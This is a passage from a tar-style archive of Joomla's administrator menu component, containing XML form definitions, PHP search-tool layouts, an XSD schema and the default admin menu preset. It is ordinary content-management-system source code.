				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
		<field
			name="hideitems"
			type="checkboxes"
			label="COM_MENUS_ITEM_FIELD_COMPONENTS_CONTAINER_HIDE_ITEMS_LABEL"
			description="COM_MENUS_ITEM_FIELD_COMPONENTS_CONTAINER_HIDE_ITEMS_DESC"
			filter="array"
		/>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_MENU_ITEM_CONTAINER"/>
</form>
com_menus/models/forms/menu.xml000060400000002771152455305260012642 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="hidden"
			id="id"
			default="0"
			filter="int"
			readonly="true"
		/>
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<field
			name="menutype"
			type="text"
			label="COM_MENUS_MENU_MENUTYPE_LABEL"
			description="COM_MENUS_MENU_MENUTYPE_DESC"
			id="menutype"
			size="30"
			maxlength="24"
			required="true"
		/>
		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="COM_MENUS_MENU_TITLE_DESC"
			id="title"
			size="30"
			maxlength="48"
			required="true"
		/>
		<field
			name="description"
			type="text"
			label="JGLOBAL_DESCRIPTION"
			description="COM_MENUS_MENU_DESCRIPTION_DESC"
			id="menudescription"
			size="30"
			maxlength="255"
		/>
		<field
			name="client_id"
			type="radio"
			label="COM_MENUS_MENU_CLIENT_ID_LABEL"
			description="COM_MENUS_MENU_CLIENT_ID_DESC"
			id="client_id"
			default="0"
			class="btn-group btn-group-yesno btn-group-reversed"
			>
			<option value="0">JSITE</option>
			<option value="1">JADMINISTRATOR</option>
		</field>
		<field
			name="preset"
			type="menuPreset"
			label="COM_MENUS_FIELD_PRESET_LABEL"
			description="COM_MENUS_FIELD_PRESET_DESC"
			showon="client_id:1"
		>
			<option value="">JNONE</option>
		</field>
		<field
			name="rules"
			type="rules"
			label="JFIELD_RULES_LABEL"
			translate_label="false"
			filter="rules"
			component="com_menus"
			section="menu"
			validate="rules" 
		/>
	</fieldset>
</form>
com_menus/models/forms/itemadmin_url.xml000060400000004111152455305260014515 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset name="menu-options" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL">
			<field 
				name="menu-anchor_title"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC" 
			/>

			<field 
				name="menu-anchor_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC" 
			/>

			<field 
				name="menu-anchor_rel" 
				type="list"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_REL_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_REL_DESC"
				default=""
				>
				<option value="">JNONE</option>
				<option value="alternate"/>
				<option value="author"/>
				<option value="bookmark"/>
				<option value="help"/>
				<option value="license"/>
				<option value="next"/>
				<option value="nofollow"/>
				<option value="noreferrer"/>
				<option value="prefetch"/>
				<option value="prev"/>
				<option value="search"/>
				<option value="tag"/>
			</field>

			<field 
				name="menu_image" 
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC" 
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field 
				name="menu_text" 
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_EXTERNAL_URL" />
</form>
com_menus/models/forms/filter_menus.xml000060400000002231152455305260014361 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="client_id"
		type="list"
		label=""
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MENUS_MENUS_FILTER_SEARCH_LABEL"
			description="COM_MENUS_MENUS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="5"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_menus/models/forms/filter_itemsadmin.xml000060400000004667152455305260015403 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="client_id"
		type="list"
		label=""
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>

	<field
		name="menutype"
		type="menu"
		label="COM_MENUS_FILTER_CATEGORY"
		description="JOPTION_FILTER_CATEGORY_DESC"
		accesstype="manage"
		clientid=""
		showAll="false"
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="">COM_MENUS_SELECT_MENU</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MENUS_ITEMS_SEARCH_FILTER_LABEL"
			description="COM_MENUS_ITEMS_SEARCH_FILTER"
			hint="JSEARCH_FILTER"
			noresults="JGLOBAL_NO_MATCHING_RESULTS"
		/>
		<field
			name="published"
			type="status"
			label="COM_MENUS_FILTER_PUBLISHED"
			description="COM_MENUS_FILTER_PUBLISHED_DESC"
			filter="*,0,1,-2"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="menutype_title ASC">COM_MENUS_HEADING_MENU_ASC</option>
			<option value="menutype_title DESC">COM_MENUS_HEADING_MENU_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MENUS_LIST_LIMIT"
			description="COM_MENUS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_menus/layouts/joomla/searchtools/default/bar.php000060400000002442152455305260016746 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  Layout
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var  array  $displayData */
$data = $displayData;

if ($data['view'] instanceof MenusViewItems)
{
	// We will get the menutype filter & remove it from the form filters
	$menuTypeField = $data['view']->filterForm->getField('menutype');

	// Add the client selector before the form filters.
	$clientIdField = $data['view']->filterForm->getField('client_id');

	if ($clientIdField): ?>
	<div class="js-stools-field-filter js-stools-client_id">
		<?php echo $clientIdField->input; ?>
	</div>
	<?php endif; ?>

	<div class="js-stools-field-filter js-stools-menutype">
		<?php echo $menuTypeField->input; ?>
	</div>
	<?php
}
elseif ($data['view'] instanceof MenusViewMenus)
{
	// Add the client selector before the form filters.
	$clientIdField = $data['view']->filterForm->getField('client_id');
	?>
	<div class="js-stools-field-filter js-stools-client_id">
		<?php echo $clientIdField->input; ?>
	</div>
	<?php
}

// Display the main joomla layout
echo JLayoutHelper::render('joomla.searchtools.default.bar', $data, null, array('component' => 'none'));
com_menus/layouts/joomla/searchtools/default.php000060400000005761152455305260016211 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  Layout
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var  array  $displayData */
$data = $displayData;

// Receive overridable options
$data['options'] = !empty($data['options']) ? $data['options'] : array();

if ($data['view'] instanceof MenusViewItems || $data['view'] instanceof MenusViewMenus)
{
	$doc = JFactory::getDocument();

	$doc->addStyleDeclaration("
		/* Fixed filter field in search bar */
		.js-stools .js-stools-menutype,
		.js-stools .js-stools-client_id {
			float: left;
			margin-right: 10px;
			min-width: 220px;
		}
		html[dir=rtl] .js-stools .js-stools-menutype,
		html[dir=rtl] .js-stools .js-stools-client_id {
			float: right;
			margin-left: 10px
			margin-right: 0;
		}
		.js-stools .js-stools-container-bar .js-stools-field-filter .chzn-container {
			padding: 3px 0;
		}
	");

	// Client selector doesn't have to activate the filter bar.
	unset($data['view']->activeFilters['client_id']);

	// Menutype filter doesn't have to activate the filter bar
	unset($data['view']->activeFilters['menutype']);
}

// Set some basic options
$customOptions = array(
	'filtersHidden'       => isset($data['options']['filtersHidden']) ? $data['options']['filtersHidden'] : empty($data['view']->activeFilters),
	'defaultLimit'        => isset($data['options']['defaultLimit']) ? $data['options']['defaultLimit'] : JFactory::getApplication()->get('list_limit', 20),
	'searchFieldSelector' => '#filter_search',
	'orderFieldSelector'  => '#list_fullordering',
	'totalResults'        => isset($data['options']['totalResults']) ? $data['options']['totalResults'] : -1,
	'noResultsText'       => isset($data['options']['noResultsText']) ? $data['options']['noResultsText'] : JText::_('JGLOBAL_NO_MATCHING_RESULTS'),
);

$data['options'] = array_merge($customOptions, $data['options']);

$formSelector = !empty($data['options']['formSelector']) ? $data['options']['formSelector'] : '#adminForm';

// Load search tools
JHtml::_('searchtools.form', $formSelector, $data['options']);

$filtersClass = isset($data['view']->activeFilters) && $data['view']->activeFilters ? ' js-stools-container-filters-visible' : '';
?>
<div class="js-stools clearfix">
	<div class="clearfix">
		<div class="js-stools-container-bar">
			<?php echo JLayoutHelper::render('joomla.searchtools.default.bar', $data); ?>
		</div>
		<div class="js-stools-container-list hidden-phone hidden-tablet">
			<?php echo JLayoutHelper::render('joomla.searchtools.default.list', $data); ?>
		</div>
	</div>
	<!-- Filters div -->
	<div class="js-stools-container-filters hidden-phone clearfix<?php echo $filtersClass; ?>">
		<?php echo JLayoutHelper::render('joomla.searchtools.default.filters', $data); ?>
	</div>
</div>
<?php if ($data['options']['totalResults'] === 0) : ?>
	<?php echo JLayoutHelper::render('joomla.searchtools.default.noitems', $data); ?>
<?php endif; ?>
com_menus/layouts/joomla/menu/edit_modules.php000060400000002741152455305260015653 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  Layout
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app       = JFactory::getApplication();
$form      = $displayData->getForm();
$input     = $app->input;
$component = $input->getCmd('option', 'com_content');

if ($component == 'com_categories')
{
	$extension = $input->getCmd('extension', 'com_content');
	$parts     = explode('.', $extension);
	$component = $parts[0];
}

$saveHistory = JComponentHelper::getParams($component)->get('save_history', 0);

$fields = $displayData->get('fields') ?: array(
	array('parent', 'parent_id'),
	array('published', 'state', 'enabled'),
	array('category', 'catid'),
	'featured',
	'sticky',
	'access',
	'language',
	'tags',
	'note',
	'version_note',
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

if (!$saveHistory)
{
	$hiddenFields[] = 'version_note';
}

$html   = array();
$html[] = '<fieldset class="form-horizontal"><ul class="horizontal-buttons unstyled">';

foreach ($fields as $field)
{
	$field = is_array($field) ? $field : array($field);

	foreach ($field as $f)
	{
		if ($form->getField($f))
		{
			if (in_array($f, $hiddenFields))
			{
				$form->setFieldAttribute($f, 'type', 'hidden');
			}

			$html[] = '<li>' . $form->renderField($f) . '</li>';
			break;
		}
	}
}

$html[] = '</ul></fieldset>';

echo implode('', $html);
com_menus/presets/menu.xsd000060400000005421152455305260011707 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
	attributeFormDefault="unqualified" elementFormDefault="qualified"
	xmlns:xs="http://www.w3.org/2001/XMLSchema"
	targetNamespace="urn:joomla.org"
	xmlns="urn:joomla.org">
	<xs:element name="menu" type="menuType"/>
	<xs:simpleType name="typeType">
		<xs:restriction base="xs:string">
			<xs:enumeration value="component" />
			<xs:enumeration value="container" />
			<xs:enumeration value="heading" />
			<xs:enumeration value="separator" />
			<xs:enumeration value="url" />
		</xs:restriction>
	</xs:simpleType>
	<xs:simpleType name="elementType">
		<xs:restriction base="xs:string">
			<xs:pattern value="com_(.+)" />
		</xs:restriction>
	</xs:simpleType>
	<xs:simpleType name="scopeType">
		<xs:restriction base="xs:string">
			<xs:enumeration value="default" />
			<xs:enumeration value="edit" />
			<xs:enumeration value="help" />
		</xs:restriction>
	</xs:simpleType>
	<xs:simpleType name="trueFalse">
		<xs:restriction base="xs:string">
			<xs:enumeration value="true" />
			<xs:enumeration value="false"/>
		</xs:restriction>
	</xs:simpleType>
	<xs:simpleType name="browserNavType">
		<xs:restriction base="xs:string">
			<xs:enumeration value="_blank" />
			<xs:enumeration value=""/>
		</xs:restriction>
	</xs:simpleType>
	<xs:complexType name="menuType">
		<xs:sequence>
			<xs:element type="menuitemType" name="menuitem" maxOccurs="unbounded" minOccurs="0"/>
		</xs:sequence>
	</xs:complexType>
	<xs:complexType name="menuitemType" mixed="true">
		<xs:sequence>
			<xs:element type="xs:string" name="params" minOccurs="0" maxOccurs="1"/>
			<xs:element type="menuitemType" name="menuitem" minOccurs="0" maxOccurs="unbounded"/>
		</xs:sequence>
		<xs:attribute type="typeType" name="type" use="required"/>
		<xs:attribute type="xs:string" name="title" use="optional"/>
		<xs:attribute type="xs:string" name="link" use="optional"/>
		<xs:attribute type="xs:string" name="class" use="optional"/>
		<xs:attribute type="xs:string" name="icon" use="optional"/>
		<xs:attribute type="elementType" name="element" use="optional"/>
		<xs:attribute type="trueFalse" name="hidden" use="optional" default="false"/>
		<xs:attribute type="xs:string" name="sql_select" use="optional"/>
		<xs:attribute type="xs:string" name="sql_from" use="optional"/>
		<xs:attribute type="xs:string" name="sql_where" use="optional"/>
		<xs:attribute type="xs:string" name="sql_leftjoin" use="optional"/>
		<xs:attribute type="xs:string" name="sql_innerjoin" use="optional"/>
		<xs:attribute type="xs:string" name="sql_group" use="optional"/>
		<xs:attribute type="xs:string" name="sql_order" use="optional"/>
		<xs:attribute type="browserNavType" name="target" use="optional" default=""/>
		<xs:attribute type="scopeType" name="scope" use="optional" default="default"/>
	</xs:complexType>
</xs:schema>
com_menus/presets/joomla.xml000060400000035627152455305260012241 0ustar00<?xml version="1.0"?>
<menu
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns="urn:joomla.org"
	xsi:schemaLocation="urn:joomla.org menu.xsd">
	<menuitem
		title="MOD_MENU_SYSTEM"
		type="heading"
		>
		<menuitem
			type="component"
			title="MOD_MENU_CONTROL_PANEL"
			link="index.php"
			element="com_cpanel"
			class="class:cpanel"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_CONFIGURATION"
			type="component"
			element="com_config"
			link="index.php?option=com_config"
			class="class:config"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_GLOBAL_CHECKIN"
			type="component"
			element="com_checkin"
			link="index.php?option=com_checkin"
			class="class:checkin"
		/>
		<menuitem
			title="MOD_MENU_CLEAR_CACHE"
			type="component"
			element="com_cache"
			link="index.php?option=com_cache"
			class="class:clear"
		/>
		<menuitem
			title="MOD_MENU_PURGE_EXPIRED_CACHE"
			type="component"
			element="com_cache"
			link="index.php?option=com_cache&amp;view=purge"
			class="class:purge"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_SYSTEM_INFORMATION"
			type="component"
			element="com_admin"
			link="index.php?option=com_admin&amp;view=sysinfo"
			class="class:info"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_COM_USERS_USERS"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_COM_USERS_USER_MANAGER"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=users"
			class="class:user">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_USER"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=user.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_GROUPS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=groups"
			class="class:groups">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_GROUP"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=group.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_LEVELS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=levels"
			class="class:levels">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_LEVEL"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=level.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_FIELDS"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;context=com_users.user"
			class="class:fields"
		/>
		<menuitem
			title="MOD_MENU_FIELDS_GROUP"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;view=groups&amp;context=com_users.user"
			class="class:category"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_COM_USERS_NOTES"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=notes"
			class="class:user-note">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_NOTE"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=note.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_NOTE_CATEGORIES"
			type="component"
			element="com_categories"
			link="index.php?option=com_categories&amp;view=categories&amp;extension=com_users"
			class="class:category">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_CATEGORY"
				type="component"
				element="com_categories"
				link="index.php?option=com_categories&amp;task=category.add&amp;extension=com_users"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_COM_PRIVACY"
			type="component"
			element="com_privacy"
			link="index.php?option=com_privacy"
			class="class:privacy"
		/>
		<menuitem
			title="MOD_MENU_COM_ACTIONLOGS"
			type="component"
			element="com_actionlogs"
			link="index.php?option=com_actionlogs"
			class="class:userlogs"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MASS_MAIL_USERS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=mail"
			class="class:massmail"
			scope="massmail"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_MENUS"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_MENU_MANAGER"
			type="component"
			element="com_menus"
			link="index.php?option=com_menus&amp;view=menus"
			class="class:menumgr">
			<menuitem
				title="MOD_MENU_MENU_MANAGER_NEW_MENU"
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=menu&amp;layout=edit"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MENUS_ALL_ITEMS"
			type="component"
			element="com_menus"
			link="index.php?option=com_menus&amp;view=items&amp;menutype="
			class="class:allmenu"
		/>
		<!--
		Following is an example of repeatable group based on simple database query.
		This requires sql_* attributes (sql_select and sql_from are required)
		The values can be used like - "{sql:columnName}" in any attribute of repeated elements.
		The repeated elements are place inside this xml node but they will be populated in the same level in the rendered menu
		-->
		<menuitem
			type="separator"
			title="JSITE"
			hidden="false"
			sql_select="a.title, a.menutype, CASE COALESCE(SUM(m.home), 0) WHEN 0 THEN '' WHEN 1 THEN CASE m.language WHEN '*' THEN 'class:icon-home' ELSE CONCAT('image:mod_languages/', l.image, '.gif') END ELSE 'image:mod_languages/icon-16-language.png' END AS icon"
			sql_from="#__menu_types AS a"
			sql_where="a.client_id = 0"
			sql_leftjoin="#__menu AS m ON m.menutype = a.menutype AND m.home = 1 LEFT JOIN #__languages AS l ON l.lang_code = m.language"
			sql_group="a.id, m.language, l.image"
			sql_order="a.title ASC">
			<menuitem
				title="{sql:title} "
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=items&amp;menutype={sql:menutype}"
				icon="{sql:icon}"
				class="class:menu">
				<menuitem
					title="MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM"
					type="component"
					element="com_menus"
					link="index.php?option=com_menus&amp;view=item&amp;layout=edit&amp;menutype={sql:menutype}"
					class="class:menu"
					scope="edit"
				/>
			</menuitem>
		</menuitem>
		<menuitem
			type="separator"
			title="JADMINISTRATOR"
			hidden="false"
			sql_select="title, menutype"
			sql_from="#__menu_types"
			sql_where="client_id = 1"
			sql_order="title ASC">
			<menuitem
				title="{sql:title}"
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=items&amp;menutype={sql:menutype}"
				class="class:menu">
				<menuitem
					title="MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM"
					type="component"
					element="com_menus"
					link="index.php?option=com_menus&amp;view=item&amp;layout=edit&amp;menutype={sql:menutype}"
					class="class:menu"
					scope="edit"
				/>
			</menuitem>
		</menuitem>
	</menuitem>
	<menuitem
		title="MOD_MENU_COM_CONTENT"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_COM_CONTENT_ARTICLE_MANAGER"
			type="component"
			element="com_content"
			link="index.php?option=com_content"
			class="class:article">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_ARTICLE"
				type="component"
				element="com_content"
				link="index.php?option=com_content&amp;task=article.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_CONTENT_CATEGORY_MANAGER"
			type="component"
			element="com_categories"
			link="index.php?option=com_categories&amp;extension=com_content"
			class="class:category">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_CATEGORY"
				type="component"
				element="com_categories"
				link="index.php?option=com_categories&amp;task=category.add&amp;extension=com_content"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_CONTENT_FEATURED"
			type="component"
			element="com_content"
			link="index.php?option=com_content&amp;view=featured"
			class="class:featured"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_FIELDS"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;context=com_content.article"
			class="class:fields"
		/>
		<menuitem
			title="MOD_MENU_FIELDS_GROUP"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;view=groups&amp;context=com_content.article"
			class="class:category"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MEDIA_MANAGER"
			type="component"
			element="com_media"
			link="index.php?option=com_media"
			class="class:media"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_COMPONENTS"
		type="container"
	/>
	<menuitem
		title="MOD_MENU_EXTENSIONS_EXTENSIONS"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_EXTENSIONS_EXTENSION_MANAGER"
			type="component"
			element="com_installer"
			link="index.php?option=com_installer&amp;view=manage"
			class="class:install">
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_INSTALL"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=install"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_UPDATE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=update"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_MANAGE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=manage"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_DISCOVER"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=discover"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_DATABASE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=database"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_WARNINGS"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=warnings"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_LANGUAGES"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=languages"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_UPDATESITES"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=updatesites"
				class="class:install"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_MODULE_MANAGER"
			type="component"
			element="com_modules"
			link="index.php?option=com_modules"
			class="class:module"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_PLUGIN_MANAGER"
			type="component"
			element="com_plugins"
			link="index.php?option=com_plugins"
			class="class:plugin"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER"
			type="component"
			element="com_templates"
			link="index.php?option=com_templates"
			class="class:themes">
			<menuitem
				title="MOD_MENU_COM_TEMPLATES_SUBMENU_STYLES"
				type="component"
				element="com_templates"
				link="index.php?option=com_templates&amp;view=styles"
				class="class:themes"
			/>
			<menuitem
				title="MOD_MENU_COM_TEMPLATES_SUBMENU_TEMPLATES"
				type="component"
				element="com_templates"
				link="index.php?option=com_templates&amp;view=templates"
				class="class:themes"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER"
			type="component"
			element="com_languages"
			link="index.php?option=com_languages"
			class="class:language">
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_INSTALLED"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=installed"
				class="class:language"
			/>
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_CONTENT"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=languages"
				class="class:language"
			/>
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_OVERRIDES"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=overrides"
				class="class:language"
			/>
		</menuitem>
	</menuitem>
	<menuitem
		title="MOD_MENU_HELP"
		type="heading"
		>
		<menuitem
			type="component"
			title="MOD_MENU_HELP_JOOMLA"
			element="com_admin"
			link="index.php?option=com_admin&amp;view=help"
			class="class:help"
			scope="help"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM"
			link="https://forum.joomla.org"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM"
			link="special:custom-forum"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM"
			link="special:language-forum"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_DOCUMENTATION"
			link="https://docs.joomla.org"
			class="class:help-docs"
